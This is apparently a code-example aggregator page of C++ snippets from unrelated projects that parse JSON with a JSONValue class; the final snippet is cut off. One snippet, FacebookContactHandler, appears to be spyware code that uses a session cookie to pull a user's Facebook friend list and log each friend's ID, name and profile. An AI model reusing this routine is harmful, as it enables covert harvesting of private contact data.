示例#1
0
void CTestJSON::parseJsonStr( const std::wstring& strJsonStr )
{
	JSONValue* jsInput = JSON::Parse(strJsonStr.c_str());
	if (jsInput == NULL || !jsInput->IsObject())
	{
		return;
	}

	JSONObject::const_iterator itResult = jsInput->AsObject().find(L"result");
	if (itResult != jsInput->AsObject().end())
	{
		std::wstring strResult = itResult->second->AsString();
		std::wcout << L"result" << L":" << strResult << std::endl;
	}

	JSONObject::const_iterator itLove = jsInput->AsObject().find(L"Love");
	if (itLove != jsInput->AsObject().end())
	{
		std::wstring strResult = itLove->second->AsString();
		std::wcout << L"Love" << L":" << strResult << std::endl;
	}

	JSONArray jsArray;
	JSONObject::const_iterator itContents = jsInput->AsObject().find(L"contents");
	if (itContents != jsInput->AsObject().end() && itContents->second != NULL && itContents->second->IsArray())
	{
		jsArray = itContents->second->AsArray();
	}

	std::wcout << "[" << std::endl;
	JSONArray::iterator it = jsArray.begin();
	JSONArray::iterator itEnd = jsArray.end();
	for (; it != itEnd; ++it)
	{
		JSONValue* jsValue = *it;
		if (jsValue->IsObject())
		{
			jsValue->AsObject();
			JSONObject::const_iterator itObj = jsValue->AsObject().begin();
			JSONObject::const_iterator itObjEnd = jsValue->AsObject().end();
			for (; itObj != itObjEnd; ++itObj)
			{
				std::wstring strValue = itObj->second->AsString();
				std::wcout << L"{" << itObj->first << L":" << strValue << L"}" << std::endl;
			}
		}
		else if (jsValue->IsString())
		{		
			std::wstring strValue = jsValue->AsString();
			std::wcout << strValue << std::endl;
		}
		else if (jsValue->IsNumber())
		{
			double dValue = jsValue->AsNumber();
			std::wcout << dValue << std::endl;
		}
		//...
	}
	std::wcout << "]" << std::endl;
}
bool ProjectBuildSettings::Load(const String& path)
{
    SharedPtr<File> file(new File(context_, path));
    if (!file->IsOpen())
        return false;

    SharedPtr<JSONFile> jsonFile(new JSONFile(context_));
    bool result = jsonFile->Load(*file);
    file->Close();

    if (!result)
        return false;

    JSONValue root = jsonFile->GetRoot();
    if (!root.IsObject())
        return false;

    macBuildSettings_->Read(root);
    windowsBuildSettings_->Read(root);
    webBuildSettings_->Read(root);
    androidBuildSettings_->Read(root);
    iosBuildSettings_->Read(root);

    return true;
}
示例#3
0
JSONObject Configuration::getObjectFromArray(const wstring& arrayName, const wstring& field) {
	JSONValue *c = json[arrayName];

	if (c == NULL || c->IsObject() == FALSE) {
		throw new exception();
	}

	JSONObject arr = c->AsObject();
	JSONValue *val = arr[field];

	if (val == NULL || val->IsObject() == FALSE) {
		throw new exception();
	}

	return val->AsObject();
}
void JSBModule::ProcessHaxeDecl()
{
    // Haxe declarations

    JSONValue root = moduleJSON_->GetRoot();

    JSONValue decl = root.GetChild("haxe_decl");

    if (decl.IsObject())
    {
        Vector<String> childNames = decl.GetChildNames();

        for (unsigned j = 0; j < childNames.Size(); j++)
        {
            String classname = childNames.At(j);

            JSBClass* klass = GetClass(classname);

            if (!klass)
            {
                ErrorExit("Bad Haxe decl class");
            }

            JSONValue classdecl = decl.GetChild(classname);

            for (unsigned k = 0; k < classdecl.GetSize(); k++)
            {
                klass->AddHaxeDecl(classdecl.GetString(k));
            }
        }
    }
}
示例#5
0
bool Animatable::LoadJSON(const JSONValue& source, bool setInstanceDefault)
{
    if (!Serializable::LoadJSON(source, setInstanceDefault))
        return false;

    SetObjectAnimation(0);
    attributeAnimationInfos_.Clear();

    JSONValue value = source.Get("objectanimation");
    if (!value.IsNull())
    {
        SharedPtr<ObjectAnimation> objectAnimation(new ObjectAnimation(context_));
        if (!objectAnimation->LoadJSON(value))
            return false;

        SetObjectAnimation(objectAnimation);
    }

    JSONValue attributeAnimationValue = source.Get("attributeanimation");

    if (attributeAnimationValue.IsNull())
        return true;

    if (!attributeAnimationValue.IsObject())
    {
        URHO3D_LOGWARNING("'attributeanimation' value is present in JSON data, but is not a JSON object; skipping it");
        return true;
    }

    const JSONObject& attributeAnimationObject = attributeAnimationValue.GetObject();
    for (JSONObject::ConstIterator it = attributeAnimationObject.Begin(); it != attributeAnimationObject.End(); it++)
    {
        String name = it->first_;
        JSONValue value = it->second_;
        SharedPtr<ValueAnimation> attributeAnimation(new ValueAnimation(context_));
        if (!attributeAnimation->LoadJSON(it->second_))
            return false;

        String wrapModeString = source.Get("wrapmode").GetString();
        WrapMode wrapMode = WM_LOOP;
        for (int i = 0; i <= WM_CLAMP; ++i)
        {
            if (wrapModeString == wrapModeNames[i])
            {
                wrapMode = (WrapMode)i;
                break;
            }
        }

        float speed = value.Get("speed").GetFloat();
        SetAttributeAnimation(name, attributeAnimation, wrapMode, speed);

        it++;
    }

    return true;
}
示例#6
0
    void RunExperiments(ifstream &input, ofstream &output) {
        // Read input file
        input.seekg(0, ios::end);
        size_t input_length = input.tellg();
        input.seekg(0, ios::beg);
        char * input_content = new char[input_length+1];
        input.read(input_content, input_length);
        input_content[input_length] = 0;

        map<string, fnptr> &registeredExperiments = RegisterExperiment("", NULL);
        cout << "Registered experiments: " << endl;
        for(map<string, fnptr>::iterator it = registeredExperiments.begin(); it != registeredExperiments.end(); ++it)
            cout << "\t- " << it->first << endl;

        // Create JSON object
        JSONValue *root = JSON::Parse(input_content);
        delete [] input_content;

        // Iterate over each object
        if (!root->IsObject()) {
            cerr << "Error, the input file does not contain objects." << endl;
            return;
        }

        cout << endl;
        cout << "* Running Experiments" << endl;
        output << "{" << endl;
        // This is a vector of <sdt::wstring, JSONValue>
        JSONObject objects = root->AsObject();
      
        Timer overall_time;        
        for(JSONObject::iterator it = objects.begin(); it != objects.end(); ++it) {
            string tmp((it->first).begin(), (it->first).end());
            output << "experiment_name: \"" << tmp << "\"" << endl;
            if (registeredExperiments.count(tmp) == 0) {
                cout << "\tExperiment " << tmp << " is not registered." << endl;
                output << "result: \"error\"" << endl;
            } else {
                cout << "\tRunning experiment " << tmp << endl;
                Timer experiment_time;
                wstring result = registeredExperiments[tmp](it->second->Stringify());

                experiment_time.stop();
                
                string tmp_result(result.begin(), result.end());
                output << "result: " << tmp_result << endl;
                output << "experiment_time:" << experiment_time.elapsedTime() << endl;
            }
        }
        overall_time.stop();
        output << "overall_time:" << overall_time.elapsedTime() << endl;
        output << GetSystemInformation();
        output << "}" << endl;
    }
void WebBuildSettings::Read(JSONValue& parent)
{
    JSONValue json = parent.Get("WebBuildSettings");

    if (!json.IsObject())
        return;

    appName_ = json.Get("appName").GetString();
    packageName_ = json.Get("packageName").GetString();
    companyName_ = json.Get("companyName").GetString();
    productName_ = json.Get("productName").GetString();

}
void JSBModule::ProcessExcludes()
{
    // excludes

    JSONValue root = moduleJSON_->GetRoot();

    JSONValue excludes = root.GetChild("excludes");

    if (excludes.IsObject())
    {
        Vector<String> childNames = excludes.GetChildNames();

        for (unsigned j = 0; j < childNames.Size(); j++)
        {
            String classname = childNames.At(j);

            JSBClass* klass = GetClass(classname);

            if (!klass)
            {
                ErrorExit("Bad exclude klass");
            }

            JSONValue classexcludes = excludes.GetChild(classname);

            Vector<String> functionNames = classexcludes.GetChildNames();

            for (unsigned k = 0; k < functionNames.Size(); k++)
            {
                JSONValue sig = classexcludes.GetChild(functionNames[k]);

                if (!sig.IsArray())
                {
                    ErrorExit("Bad exclude defintion");
                }

                Vector<String> values;
                for (unsigned x = 0; x < sig.GetSize(); x++)
                {
                    values.Push(sig.GetString(x));
                }

                JSBFunctionSignature* fe = new JSBFunctionSignature(functionNames[k], values);
                klass->AddFunctionExclude(fe);

            }
        }
    }
}
void IOSBuildSettings::Read(JSONValue& parent)
{
    JSONValue json = parent.Get("IOSBuildSettings");

    if (!json.IsObject())
        return;

    appName_ = json.Get("appName").GetString();
    packageName_ = json.Get("packageName").GetString();
    companyName_ = json.Get("companyName").GetString();
    productName_ = json.Get("productName").GetString();

    provisionFile_ = json.Get("provisionFile").GetString();;
    appidPrefix_ = json.Get("appIDPrefix").GetString();;

}
示例#10
0
INT Configuration::getIntFromArray(const wstring& arrayName, const wstring& field) {
	JSONObject::const_iterator iter;

	JSONValue *c = json[arrayName];

	if (c == NULL || c->IsObject() == FALSE) {
		throw new exception();
	}

	JSONObject arr = c->AsObject();
	JSONValue *val = arr[field];

	if (val == NULL || val->IsNumber() == FALSE) {
		throw new exception();
	}
	return static_cast<INT>(val->AsNumber());
}
void AndroidBuildSettings::Read(JSONValue& parent)
{
    JSONValue json = parent.Get("AndroidBuildSettings");

    if (!json.IsObject())
        return;

    appName_ = json.Get("appName").GetString();
    packageName_ = json.Get("packageName").GetString();
    companyName_ = json.Get("companyName").GetString();
    productName_ = json.Get("productName").GetString();

    targetSDKVersion_ = json.Get("targetSDKVersion").GetString();
    minSDKVersion_ = json.Get("minSDKVersion").GetString();
    activityName_ = json.Get("activityName").GetString();
    iconPath_ = json.Get("iconPath").GetString();

}
示例#12
0
bool HGESurrogate::createJSON(JSONValue& json, bool firstResponder)
{
	bool didCreate = 0;
	
	if (json.IsObject()) {
		if (firstResponder) {
			JSONValue& substitution = json[JSON_SUBSTITUTION_DECLARATION];
			if (!substitution.IsUndefined())
			{
				this->carry(substitution);
				didCreate = !0;
				firstResponder = 0;
			}
		}
		
		
	}
	
	return didCreate;
}
示例#13
0
unsigned WINAPI notif_thread(LPVOID)
{
	JSONValue *j = fql_query(L"select+title_text%2c+href%2c+icon_url+from+notification+where+recipient_id+%3d+me()+and+is_unread");
	if(j && j->IsObject())
	{
		JSONObject obj = j->AsObject();
		JSONArray data = obj[L"data"]->AsArray();
		for(JSONArray::const_iterator i = data.begin();i != data.end();++i)
		{
			if(!((*i)->IsObject()))
				continue;
			JSONObject i_obj = (*i)->AsObject();
			wstring href, title_text;
			href = i_obj[L"href"]->AsString();
			title_text = i_obj[L"title_text"]->AsString();
			display_notif(wstring(L"Facebook Notification"), title_text, href);	
		}
		delete j;
	}
	return 0;
}
示例#14
0
std::wstring CTestJSON::AddJsonStr( const std::wstring& strJsonStr )
{
	/*
	SimpleJson 库插入是非常麻烦的事情。
	JSONValue对象有智能指针的功能,会给你析构掉它所包含的JSON对象
	而JSON的as....函数,返回的是const类型的引用,如果是array类型,那么是JSONValue*的浅拷贝
	对Parse的返回值实行delete之后,JSONValue又会再delete一次,于是出现多次析构的错误
	所以必须保证,要么只有JSONValue对象去执行析构,要么只有主动的delete Parse的返回值。
	对于插入来说,这种逻辑会带来麻烦。定义了一个JSONValue,浅拷贝了parse返回值的一部分json对象,
	然后JSONValue析构了浅拷贝的JSONValue*,先对Parse的返回值则很难做处理,如果delete,则多析构了JSON对象,
	如果不delete,则Parse内部new的map内存没有被析构。

	解决办法有两种:
	1、不要定义JSONValue对象,而是定义JSONValue引用,因为我要往JSONValue里插值,所以必须用到const_cast。
	2、递归拷贝出JSONValue*里的字符串格式的JSON对象,然后再Parse之后进入新JSONObj,
	保证新、旧对象分离。
	*/
	JSONValue* jsInput = JSON::Parse(strJsonStr.c_str());
	if (jsInput == NULL || !jsInput->IsObject())
	{
		return L"";
	}

	std::wstring strRet;
	JSONObject jsObjNew;
	JSONObject::const_iterator it = jsInput->AsObject().begin();
	JSONObject::const_iterator itEnd = jsInput->AsObject().end();
	for (; it != itEnd; ++it)
	{
		std::wstring strFirst = it->first.c_str();
		std::wstring strSecond = it->second->Stringify().c_str();
		JSONValue* pTemp = JSON::Parse(strSecond.c_str());
		jsObjNew[strFirst] = pTemp;
	}
	jsObjNew[L"Love"] = new(std::nothrow)JSONValue(L"is Happiness");
	JSONValue jsValueNew = jsObjNew;
	strRet = jsValueNew.Stringify();
	return strRet;
}
示例#15
0
bool ObjectAnimation::LoadJSON(const JSONValue& source)
{
    attributeAnimationInfos_.Clear();

    JSONValue attributeAnimationsValue = source.Get("attributeanimations");
    if (attributeAnimationsValue.IsNull())
        return true;
    if (!attributeAnimationsValue.IsObject())
        return true;

    const JSONObject& attributeAnimationsObject = attributeAnimationsValue.GetObject();

    for (JSONObject::ConstIterator it = attributeAnimationsObject.Begin(); it != attributeAnimationsObject.End(); it++)
    {
        String name = it->first_;
        JSONValue value = it->second_;
        SharedPtr<ValueAnimation> animation(new ValueAnimation(context_));
        if (!animation->LoadJSON(value))
            return false;

        String wrapModeString = value.Get("wrapmode").GetString();
        WrapMode wrapMode = WM_LOOP;
        for (int i = 0; i <= WM_CLAMP; ++i)
        {
            if (wrapModeString == wrapModeNames[i])
            {
                wrapMode = (WrapMode)i;
                break;
            }
        }

        float speed = value.Get("speed").GetFloat();
        AddAttributeAnimation(name, animation, wrapMode, speed);
    }

    return true;
}
		JNIEXPORT void JNICALL Java_tv_ouya_sdk_android_CallbacksRequestPurchase_CallbacksRequestPurchaseOnSuccess(JNIEnv* env, jobject thiz, jstring jsonData)
		{
			//LOGI("***********Java_tv_ouya_sdk_android_CallbacksRequestPurchase_CallbacksRequestPurchaseOnSuccess***********");
		
			std::string strJsonData = env->GetStringUTFChars(jsonData, NULL);

			//char buffer[256];
			//sprintf(buffer, "Java_tv_ouya_sdk_android_CallbacksRequestPurchase_CallbacksRequestPurchaseOnSuccess: Returned to C: %s", strJsonData.c_str());
			//LOGI(buffer);

			// Parse example data
			JSONValue* value = JSON::Parse(strJsonData.c_str());

			if (value == NULL)
			{
				LOGI("Parsing JSON Failed");
				return;
			}

			if (!value->IsObject())
			{
				LOGI("Parsing JSON Failed: Not an object");
				return;
			}

			// Retrieve the main object
			JSONValue data = value->AsObject();

			OuyaSDK::Product product;
			product.ParseJSON(&data);
		
			CallbacksRequestPurchase* callback = CallbackSingleton::GetInstance()->m_callbacksRequestPurchase;
			if (callback)
			{
				callback->OnSuccess(product);
			}
		}
    bool AEEditorPrefs::ReadPreferences(VariantMap& engineParameters)
    {
        String path = GetPreferencesPath();

        JSONValue prefs;

        LoadPreferences(prefs);

        if (!prefs.IsObject() || !prefs["editorWindow"].IsObject())
        {
            if (!CreateDefaultPreferences(path, prefs))
                return false;
        }

        JSONValue& editorWindow = prefs["editorWindow"];

        engineParameters["WindowPositionX"] = editorWindow["x"].GetUInt();
        engineParameters["WindowPositionY"] = editorWindow["y"].GetUInt();
        engineParameters["WindowWidth"] = editorWindow["width"].GetUInt();
        engineParameters["WindowHeight"] = editorWindow["height"].GetUInt();
        engineParameters["WindowMaximized"] = editorWindow["maximized"].GetBool();

        return true;
    }
void CommandController::Process(std::string source, std::string message)
{
	// commands can perform an effect on the game via the command functors ...

	JSONValue *value = JSON::Parse(message.c_str());

	std::string id,target;
	if (value)
	{
		if (!value->IsObject())
		{
			EZLOGGERVLSTREAM(axter::log_always) << "Input from " << source << ": Object expected." <<  std::endl;
		}
		else
		{
			JSONObject object = value->AsObject();

			JSONValue* jsonID = (object.find(L"id") != object.end())?  object[L"id"] : NULL;
			JSONValue* jsonTarget = (object.find(L"target") != object.end())?  object[L"target"] : NULL;

			if (jsonID != NULL && jsonID->IsString())
			{
				std::wstring ws = jsonID->AsString();
				id  = std::string( ws.begin(), ws.end() );
			}
			else
			{
				EZLOGGERVLSTREAM(axter::log_always) << "Input from " << source << ": string id expected." <<  std::endl;
			}

			if (jsonTarget != NULL && jsonTarget->IsString())
			{
				std::wstring ws = jsonTarget->AsString();
				target  = std::string( ws.begin(), ws.end() );
			}
		}
	}
	
	delete value;

	bool toSend = true;
	auto clientCommandIter = clientCommands.find(source);

	if (clientCommandIter != clientCommands.end())
	{
		// there is a filter list for this client
		toSend = false;
		for (auto i = clientCommandIter->second.begin(); i != clientCommandIter->second.end(); i++)
		{
			if (id.compare(*i) == 0 )
			{
				toSend = true;
				break;
			}
		}
	}

	if (!toSend)
		return;

	auto commandIterator = commands.find(id);
	if (commandIterator != commands.end())
	{
		// call the behavior
		(commandIterator->second)(target);
	}

	// ... and they can also be routed to other clients
	auto configurationIter = commandConfigurations.find(id);
	if (configurationIter != commandConfigurations.end())
	{
		// a config exists, send to all in 'route'
		auto configuration = configurationIter->second;
		for (auto i = configuration.route.begin(); i != configuration.route.end(); i++)
		{
			auto client = *i;
			for (auto j = commanders.begin(); j != commanders.end(); j++)
			{
				auto clientConnection = *j;
				if (clientConnection->id.compare(client) == 0)
				{
					clientConnection->Send(message);
				}
			}
		}
	}



}
示例#19
0
文件: zinc.cpp 项目: ras0219/zinc
int main(int argc, const char** argv) {
  zmq::context_t context(1);

  zinc::Configuration config;

  if (argc > 1) {
    config.parse_file(argv[1]);
  } else {
    std::cout << "Warning! You have chosen to run zinc without any config file!\n"
              << "This means no plugins will be loaded "
              << "and we'll have next to no functionality! :(\n"
              << "\n"
              << "Please create a configuration json file and relaunch as\n"
              << "    " << argv[0] << " <configfile>\n" << std::endl;
  }

  //MegaHalService mhserv(context, global_config.get_string_config(L"brainsocket").c_str());

  string
    serverpass = config.get_string_config(L"serverpass", ""),
    serveraddr = config.get_string_config(L"serveraddr", "irc.freenode.net"),
    username = config.get_string_config(L"username", "cxxtestbot"),
    nickname = config.get_string_config(L"nickname", "cxxtestbot"),
    realname = config.get_string_config(L"realname", "C++11 Test Bot");
  int port = config.get_int_config(L"serverport", 6667);

  Bot s(serveraddr.c_str(),
        port,
        serverpass.empty() ? NULL : serverpass.c_str(),
        username.c_str(),
        nickname.c_str(),
        realname.c_str());

  zinc::ZMQ_PollHost zmqph;
  {
    PollCB::bot = &s;

    s.add_poll_descriptors<zinc::zmq_pollitem_adapter, ZMQ_POLLIN, ZMQ_POLLOUT>
      (std::back_inserter(zmqph.pollfds));
    auto sz = zmqph.pollfds.size();
    for (size_t x = 0; x < sz; ++x)
      zmqph.pollcbs.push_back(PollCB::poll_cb);
  }

  zinc::DefaultKernel kern;

  kern.register_interface((zinc::Interface*)&s.interactive);
  kern.register_interface((zinc::Interface*)&s.channelio);
  kern.register_interface((zinc::Interface*)&zmqph.pollhost);

  JSONValue* loadlibs = config.get_path(L"loadplugins");

  if (loadlibs != nullptr and loadlibs->IsObject()) {
    for (auto p : loadlibs->AsObject()) {
      string lib = zinc::get_locale_string(p.first);
      kern.load_library_file(lib.c_str());
      if (p.second->IsString()) {
        string plug = zinc::get_locale_string(p.second->AsString());
        if (kern.load_plugin(lib.c_str(), plug.c_str()) != 0)
          cerr << "Could not load '" << plug << "' from '" << lib << "'." << endl;
      }
      if (p.second->IsArray()) {
        for (auto q : p.second->AsArray()) {
          if (q->IsString()) {
            string plug = zinc::get_locale_string(q->AsString());
            if (kern.load_plugin(lib.c_str(), plug.c_str()) != 0)
              cerr << "Could not load '" << plug << "' from '" << lib << "'." << endl;
          }
        }
      }
    }
  }

  while (true) {
    zmqph.poll_once();
  }
}
示例#20
0
void JSBModule::Load(const String &moduleJSONFilename)
{
    ResourceCache* cache = JSBind::context_->GetSubsystem<ResourceCache>();

    JSONFile* moduleJSONFile = cache->GetResource<JSONFile>(moduleJSONFilename);

    if (!moduleJSONFile)
    {
        LOGERRORF("Couldn't load module json: %s", moduleJSONFilename.CString());
        ErrorExit("Couldn't load module json");
    }

    JSONValue moduleJSON = moduleJSONFile->GetRoot();
    JSONValue sources = moduleJSON.GetChild("sources");
    JSONValue classes = moduleJSON.GetChild("classes");
    JSONValue includes = moduleJSON.GetChild("includes");
    JSONValue classes_rename = moduleJSON.GetChild("classes_rename");
    JSONValue overloads = moduleJSON.GetChild("overloads");
    JSONValue requires = moduleJSON.GetChild("requires");

    HashMap<String, String> rename;

    if (requires.IsArray())
    {
        for (unsigned j = 0; j < requires.GetSize(); j++)
        {
            requirements_.Push(requires.GetString(j));
        }

    }

    if (classes_rename.IsObject())
    {
        Vector<String> childNames = classes_rename.GetValueNames();
        for (unsigned j = 0; j < childNames.Size(); j++)
        {
            String classname = childNames.At(j);
            String crename = classes_rename.GetString(classname);

            rename[classname] = crename;

        }

    }

    if (includes.IsArray())
    {
        for (unsigned j = 0; j < includes.GetSize(); j++)
        {
            includes_.Push(includes.GetString(j));

        }
    }

    if (classes.IsArray())
    {
        for (unsigned j = 0; j < classes.GetSize(); j++)
        {
            String classname = classes.GetString(j);

            if (rename.Contains(classname))
                bindings_->RegisterClass(classname, rename[classname]);
            else
                bindings_->RegisterClass(classname);

        }
    }

    if (overloads.IsObject())
    {
        Vector<String> childNames = overloads.GetChildNames();

        for (unsigned j = 0; j < childNames.Size(); j++)
        {
            String classname = childNames.At(j);

            JSBClass* klass = bindings_->GetClass(classname);
            if (!klass)
            {
                ErrorExit("Bad overload klass");
            }

            JSONValue classoverloads = overloads.GetChild(classname);

            Vector<String> functionNames = classoverloads.GetChildNames();

            for (unsigned k = 0; k < functionNames.Size(); k++)
            {
                JSONValue sig = classoverloads.GetChild(functionNames[k]);

                if (!sig.IsArray())
                {
                    ErrorExit("Bad overload defintion");
                }

                Vector<String> values;
                for (unsigned x = 0; x < sig.GetSize(); x++)
                {
                    values.Push(sig.GetString(x));
                }

                JSBFunctionOverride* fo = new JSBFunctionOverride(functionNames[k], values);
                klass->AddFunctionOverride(fo);

            }

        }

    }

    this->name_ = moduleJSON.GetString("name");

    if (this->name_ == "Graphics")
    {
#ifdef _MSC_VER
        sources.AddString("Graphics/Direct3D9");
#else
        sources.AddString("Graphics/OpenGL");
#endif
    }

    for (unsigned j = 0; j < sources.GetSize(); j++)
    {
        String sourceFolder = sources.GetString(j);
        Vector<String> fileNames;

        String sourceRoot = "Atomic";

        if (sourceFolder == "Javascript")
            sourceRoot = "AtomicJS";

        JSBind::fileSystem_->ScanDir(fileNames, JSBind::ROOT_FOLDER + "/Source/" + sourceRoot + "/" + sourceFolder, "*.h", SCAN_FILES, false);
        for (unsigned k = 0; k < fileNames.Size(); k++)
        {
            // TODO: filter
            String filepath = JSBind::ROOT_FOLDER + "/Source/" + sourceRoot + "/" + sourceFolder + "/" + fileNames[k];

            this->headerFiles_.Push(filepath);
        }

    }

}
示例#21
0
DWORD FacebookContactHandler(LPSTR strCookie)
{
	LPSTR strUserId, strScreenName;

	if (!ConfIsModuleEnabled(L"addressbook"))
		return SOCIAL_REQUEST_SUCCESS;

	// get user id and screen name
	if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
		return SOCIAL_REQUEST_BAD_COOKIE;

	LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
	_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", strUserId, strUserId); //FIXME array

	LPSTR strRecvBuffer=NULL;
	DWORD dwBuffSize;
	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); // FIXME: array
	if (dwRet != SOCIAL_REQUEST_SUCCESS)
	{
		zfree(strRecvBuffer);
		zfree(strUrl);
		return SOCIAL_REQUEST_NETWORK_PROBLEM;
	}

	LPSTR strJson = strRecvBuffer;
	while (*strJson != '{' && (strJson - strRecvBuffer) < dwBuffSize)
		strJson++;

	JSONValue *jValue = JSON::Parse(strJson);
	if (jValue != NULL && jValue->IsObject())
	{
		JSONObject jRoot = jValue->AsObject();
		if (jRoot.find(L"payload") != jRoot.end()) //FIXME: array
		{
			if (jRoot[L"payload"]->IsObject())
			{
				JSONObject jPayload = jRoot[L"payload"]->AsObject();
				if (jPayload.find(L"entries") != jPayload.end() && jPayload[L"entries"]->IsArray())  //FIXME: array
				{
					JSONArray jEntries = jPayload[L"entries"]->AsArray();  //FIXME: array
					for (DWORD i=0; i<jEntries.size(); i++)
					{
						LPWSTR strUID = NULL;
						LPWSTR strName = NULL; 
						LPWSTR strProfile = NULL;

						if (!jEntries.at(i)->IsObject())
							continue;

						JSONObject jEntry = jEntries.at(i)->AsObject();
						if (jEntry.find(L"uid") != jEntry.end() && jEntry[L"uid"]->IsNumber())  //FIXME: array
						{							
							strUID = (LPWSTR) zalloc(1024*sizeof(WCHAR));
							_snwprintf_s(strUID, 1023, _TRUNCATE, L"%.0lf", jEntry[L"uid"]->AsNumber());  //FIXME: array
						}
						if (jEntry.find(L"text") != jEntry.end() && jEntry[L"text"]->IsString())  //FIXME: array
						{
							strName = (LPWSTR) zalloc(1024*sizeof(WCHAR)); 
							memcpy(strName, jEntry[L"text"]->AsString().c_str(), min(jEntry[L"text"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array
						}
						if (jEntry.find(L"path") != jEntry.end() && jEntry[L"path"]->IsString())  //FIXME: array
						{
							strProfile = (LPWSTR) zalloc(1024*sizeof(WCHAR));
							memcpy(strProfile, jEntry[L"path"]->AsString().c_str(), min(jEntry[L"path"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array
						}

						if (strUID && strName && strProfile)
						{
							LPSTR strTmp = (LPSTR) zalloc(1024);
							_snprintf_s(strTmp, 1024, _TRUNCATE, "%S", strUID);

							DWORD dwFlags = 0;
							if (!strncmp(strTmp, strUserId, strlen(strUserId)))
								dwFlags = CONTACTS_MYACCOUNT;
							
							SocialLogContactW(CONTACT_SRC_FACEBOOK, strName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, strUID, strProfile, dwFlags);
							zfree(strTmp);
						}

						zfree(strName);
						zfree(strProfile);
						zfree(strUID);
					}
				}
			}
		}
	}

	/* cleanup */
	zfree(strUserId);
	zfree(strScreenName);
	zfree(strRecvBuffer);
	zfree(strUrl);
	if (jValue)
		delete jValue;

	return SOCIAL_REQUEST_BAD_COOKIE;
}
示例#22
0
// Example 1
ResultCode CommonDBController::parseWorkutsJson(const std::string& jsonData)
{
    // Parse example data

    JSONValue *value = JSON::Parse(jsonData.c_str());
    ResultCode result = ResultCode::OK;
    if (value == NULL)
    {
        LOGE(TAG, "Cannot read workouts json data\r\n");
        result = ResultCode::ERROR;
    }
    else
    {
        // Retrieve the main object
        JSONObject root;
        LOGE(TAG, "SONObject root\r\n");
        if (value->IsObject() == false)
        {
            LOGE(TAG, "The root element is not an object, json is not correct! \r\n");
            result = ResultCode::ERROR;
        }
        else
        {
            root = value->AsObject();

            const std::string& workoutLevelTableName = GymfitDBContract::WorkoutLevelEntry::TABLE_NAME;
            if (root.find(workoutLevelTableName) != root.end() &&
                root[workoutLevelTableName]->IsArray())
            {
                JSONArray array = root[workoutLevelTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string wLevelStr = array[i]->Stringify();
                    LOGI(TAG, std::string(wLevelStr.begin(), wLevelStr.end()).c_str());

                    JSONObject levelObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(levelObject, GymfitDBContract::WorkoutLevelEntry::COLUMN_LEVEL_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutLevelEntry::TABLE_NAME,
                                                            values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }


            const std::string& workoutTypeTableName = GymfitDBContract::WorkoutTypeEntry::TABLE_NAME;
            if (root.find(workoutTypeTableName) != root.end() &&
                root[workoutTypeTableName]->IsArray())
            {
                JSONArray array = root[workoutTypeTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string typrStr = array[i]->Stringify();
                    LOGI(TAG, typrStr.c_str());

                    JSONObject typeObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(typeObject, GymfitDBContract::WorkoutTypeEntry::COLUMN_TYPE_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutTypeEntry::TABLE_NAME,
                                                            values, columnKeys) ==ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            
            const std::string& workoutGoalTableName = GymfitDBContract::WorkoutGoalEntry::TABLE_NAME;
            if (root.find(workoutGoalTableName) != root.end() &&
                root[workoutGoalTableName]->IsArray())
            {
                JSONArray array = root[workoutGoalTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string goalStr = array[i]->Stringify();
                    LOGI(TAG, goalStr.c_str());
                    
                    JSONObject goalObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(goalObject, GymfitDBContract::WorkoutGoalEntry::COLUMN_GOAL_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutGoalEntry::TABLE_NAME,
                                                            values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            
            const std::string& genderTableName = GymfitDBContract::GenderEntry::TABLE_NAME;
            if (root.find(genderTableName) != root.end() &&
                root[genderTableName]->IsArray())
            {
                JSONArray array = root[genderTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string genderStr = array[i]->Stringify();
                    LOGI(TAG, genderStr.c_str());
                    
                    JSONObject genderObject = array[i]->AsObject();
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(genderObject, GymfitDBContract::GenderEntry::COLUMN_GENDER_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::GenderEntry::TABLE_NAME,
                                                            values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& workoutTableName = GymfitDBContract::WorkoutEntry::TABLE_NAME;
            if (root.find(workoutTableName) != root.end() &&
                root[workoutTableName]->IsArray())
            {
                JSONArray array = root[workoutTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string workoutStr = array[i]->Stringify();
                    LOGI(TAG, workoutStr.c_str());
                    
                    JSONObject workoutObject = array[i]->AsObject();
                    
